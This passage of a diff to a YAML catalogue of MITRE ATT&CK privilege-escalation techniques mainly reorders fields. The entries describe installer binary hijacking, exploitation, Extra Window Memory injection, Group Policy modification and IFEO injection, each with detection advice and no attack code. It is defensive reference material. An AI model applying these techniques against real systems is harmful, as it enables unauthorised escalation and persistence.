-        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
-      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
       type: attack-pattern
+      name: Executable Installer File Permissions Weakness
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T19:20:23.030Z'
+      created: '2020-03-13T11:12:18.558Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -14669,82 +14883,57 @@ privilege-escalation:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-26T19:20:23.030Z'
-      created: '2020-03-13T11:12:18.558Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--70d81154-b187-45f9-8ec5-295d01255979
+      x_mitre_platforms:
+      - Windows
       x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - Administrator
       - User
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
+
+        Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
+
+        Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
       x_mitre_effective_permissions:
       - Administrator
       - User
       - SYSTEM
+      x_mitre_contributors:
+      - Travis Smith, Tripwire
+      - Stefan Kanthak
       x_mitre_detection: |-
         Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.
 
         Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      x_mitre_contributors:
-      - Travis Smith, Tripwire
-      - Stefan Kanthak
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/005
+        external_id: T1574.005
+        source_name: mitre-attack
+      - url: https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/
+        description: Robert Kugler. (2012, November 20). Mozilla Foundation Security
+          Advisory 2012-98. Retrieved March 10, 2017.
+        source_name: mozilla_sec_adv_2012
+      - url: https://seclists.org/fulldisclosure/2015/Dec/34
+        description: 'Stefan Kanthak. (2015, December 8). Executable installers are
+          vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation
+          of privilege. Retrieved December 4, 2014.'
+        source_name: Executable Installers are Vulnerable
     atomic_tests: []
   T1068:
     technique:
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1068
-        url: https://attack.mitre.org/techniques/T1068
-      - source_name: ESET InvisiMole June 2020
-        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
-        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
-          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
-      - source_name: Unit42 AcidBox June 2020
-        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
-        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
-          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
-          Retrieved March 16, 2021.'
-      - source_name: Microsoft Driver Block Rules
-        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
-        description: Microsoft. (2020, October 15). Microsoft recommended driver block
-          rules. Retrieved March 16, 2021.
-      description: |-
-        Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
-
-        When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.
-
-        Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).
-      name: Exploitation for Privilege Escalation
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839
       type: attack-pattern
+      modified: '2021-04-22T16:13:34.896Z'
+      name: Exploitation for Privilege Escalation
+      x_mitre_data_sources:
+      - 'Driver: Driver Load'
+      x_mitre_version: '1.3'
+      created: '2017-05-31T21:30:55.066Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-22T16:13:34.896Z'
-      created: '2017-05-31T21:30:55.066Z'
-      x_mitre_contributors:
-      - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
-      - Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security
-      - Idan Revivo, @idanr86, Team Nautilus Aqua Security
-      x_mitre_version: '1.3'
-      x_mitre_data_sources:
-      - 'Driver: Driver Load'
-      x_mitre_detection: |-
-        Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)
-
-        Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.
-      x_mitre_effective_permissions:
-      - User
       x_mitre_permissions_required:
       - User
       x_mitre_platforms:
@@ -14753,46 +14942,62 @@ privilege-escalation:
       - Windows
       - Containers
       x_mitre_is_subtechnique: false
+      id: attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839
+      description: |-
+        Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
+
+        When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.
+
+        Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
+      - Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security
+      - Idan Revivo, @idanr86, Team Nautilus Aqua Security
+      x_mitre_effective_permissions:
+      - User
+      x_mitre_detection: |-
+        Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)
+
+        Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1068
+        external_id: T1068
+        source_name: mitre-attack
+      - url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
+        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
+          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
+        source_name: ESET InvisiMole June 2020
+      - url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
+        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
+          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
+          Retrieved March 16, 2021.'
+        source_name: Unit42 AcidBox June 2020
+      - url: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
+        description: Microsoft. (2020, October 15). Microsoft recommended driver block
+          rules. Retrieved March 16, 2021.
+        source_name: Microsoft Driver Block Rules
     atomic_tests: []
   T1055.011:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.011
-        url: https://attack.mitre.org/techniques/T1055/011
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
-        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
-          2017.
-        source_name: Microsoft Window Classes
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
-        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
-          16, 2017.
-        source_name: Microsoft GetWindowLong function
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
-        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
-          16, 2017.
-        source_name: Microsoft SetWindowLong function
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
-        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
-          truly amazing. Retrieved December 16, 2017.
-        source_name: MalwareTech Power Loader Aug 2013
-      - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
-        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
-          on Power Loader code. Retrieved December 16, 2017.
-        source_name: WeLiveSecurity Gapz and Redyms Mar 2013
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
-        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
-          16, 2017.
-        source_name: Microsoft SendNotifyMessage function
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Extra Window Memory Injection
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.004Z'
+      created: '2020-01-14T17:18:32.126Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
       description: "Adversaries may inject malicious code into process via Extra Window
         Memory (EWM) in order to evade process-based defenses as well as possibly
         elevate privileges. EWM injection is a method of executing arbitrary code
@@ -14824,70 +15029,78 @@ privilege-escalation:
         system/network resources, and possibly elevated privileges. Execution via
         EWM injection may also evade detection from security products since the execution
         is masked under a legitimate process. "
-      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:31.004Z'
-      created: '2020-01-14T17:18:32.126Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
       x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating
         EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and
         SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated
         with this technique have also used SendNotifyMessage (Citation: Microsoft
         SendNotifyMessage function) to trigger the associated window procedure and
         eventual malicious injection. (Citation: Elastic Process Injection July 2017)'
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/011
+        external_id: T1055.011
+        source_name: mitre-attack
+      - source_name: Microsoft Window Classes
+        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
+      - source_name: Microsoft GetWindowLong function
+        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
+          16, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
+      - source_name: Microsoft SetWindowLong function
+        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
+          16, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: MalwareTech Power Loader Aug 2013
+        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
+          truly amazing. Retrieved December 16, 2017.
+        url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
+      - source_name: WeLiveSecurity Gapz and Redyms Mar 2013
+        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
+          on Power Loader code. Retrieved December 16, 2017.
+        url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
+      - source_name: Microsoft SendNotifyMessage function
+        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
+          16, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
     atomic_tests: []
   T1484.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1484.001
-        url: https://attack.mitre.org/techniques/T1484/001
-      - source_name: TechNet Group Policy Basics
-        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
-        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
-          Understanding the Structure of a Group Policy Object. Retrieved March 5,
-          2019.'
-      - source_name: ADSecurity GPO Persistence 2016
-        url: https://adsecurity.org/?p=2716
-        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
-          #17: Group Policy. Retrieved March 5, 2019.'
-      - source_name: Wald0 Guide to GPOs
-        url: https://wald0.com/?p=179
-        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
-          OUs. Retrieved March 5, 2019.
-      - source_name: Harmj0y Abusing GPO Permissions
-        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
-        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
-          March 5, 2019.
-      - source_name: Mandiant M Trends 2016
-        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
-        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
-          March 5, 2019.
-      - source_name: Microsoft Hacking Team Breach
-        url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
-        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
-          A Cyber Jurassic Park. Retrieved March 5, 2019.'
-      - source_name: Harmj0y SeEnableDelegationPrivilege Right
-        url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
-        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
-          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Group Policy Modification
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Deletion'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:52:24.315Z'
+      created: '2020-12-28T21:50:59.844Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: "Adversaries may modify Group Policy Objects (GPOs) to subvert
         the intended discretionary access controls for a domain, usually with the
         intention of escalating privileges on the domain. Group policy allows for
@@ -14917,20 +15130,9 @@ privilege-escalation:
         to achieve a subtle AD backdoor with complete control of the domain because
         the user account under the adversary's control would then be able to modify
         GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)"
-      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-02-09T15:52:24.315Z'
-      created: '2020-12-28T21:50:59.844Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
+      x_mitre_contributors:
+      - Itamar Mizrahi, Cymptom
+      - Tristan Bennett, Seamless Intelligence
       x_mitre_detection: |-
         It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:
 
@@ -14942,46 +15144,47 @@ privilege-escalation:
 
 
         GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Deletion'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Itamar Mizrahi, Cymptom
-      - Tristan Bennett, Seamless Intelligence
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1484/001
+        external_id: T1484.001
+        source_name: mitre-attack
+      - url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
+        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
+          Understanding the Structure of a Group Policy Object. Retrieved March 5,
+          2019.'
+        source_name: TechNet Group Policy Basics
+      - url: https://adsecurity.org/?p=2716
+        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
+          #17: Group Policy. Retrieved March 5, 2019.'
+        source_name: ADSecurity GPO Persistence 2016
+      - url: https://wald0.com/?p=179
+        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
+          OUs. Retrieved March 5, 2019.
+        source_name: Wald0 Guide to GPOs
+      - url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
+        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
+          March 5, 2019.
+        source_name: Harmj0y Abusing GPO Permissions
+      - url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
+        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
+          March 5, 2019.
+        source_name: Mandiant M Trends 2016
+      - url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
+        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
+          A Cyber Jurassic Park. Retrieved March 5, 2019.'
+        source_name: Microsoft Hacking Team Breach
+      - url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
+        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
+          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
+        source_name: Harmj0y SeEnableDelegationPrivilege Right
     atomic_tests: []
   T1574:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574
-        url: https://attack.mitre.org/techniques/T1574
-      - source_name: Autoruns for Windows
-        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
-        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
-          Retrieved March 13, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hijack Execution Flow
-      description: |-
-        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
-
-        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
-      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-27T19:55:20.290Z'
-      created: '2020-03-12T20:38:12.465Z'
+      name: Hijack Execution Flow
       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Process: Process Creation'
@@ -14990,6 +15193,29 @@ privilege-escalation:
       - 'Service: Service Metadata'
       - 'File: File Creation'
       - 'File: File Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T23:52:52.536Z'
+      created: '2020-03-12T20:38:12.465Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
+
+        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.
 
@@ -15002,26 +15228,38 @@ privilege-escalation:
         Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574
+        external_id: T1574
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
+        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
+          Retrieved March 13, 2020.
+        source_name: Autoruns for Windows
     atomic_tests: []
   T1546.012:
     technique:
-      created: '2020-01-24T15:05:58.384Z'
+      type: attack-pattern
       modified: '2020-11-10T18:29:31.112Z'
+      name: Image File Execution Options Injection
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      created: '2020-01-24T15:05:58.384Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6
       description: |-
         Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., <code>C:\dbg\ntsd.exe -g  notepad.exe</code>). (Citation: Microsoft Dev Blog IFEO Mar 2010)
@@ -15035,64 +15273,52 @@ privilege-escalation:
         Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.
 
         Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
-      name: Image File Execution Options Injection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.012
-        url: https://attack.mitre.org/techniques/T1546/012
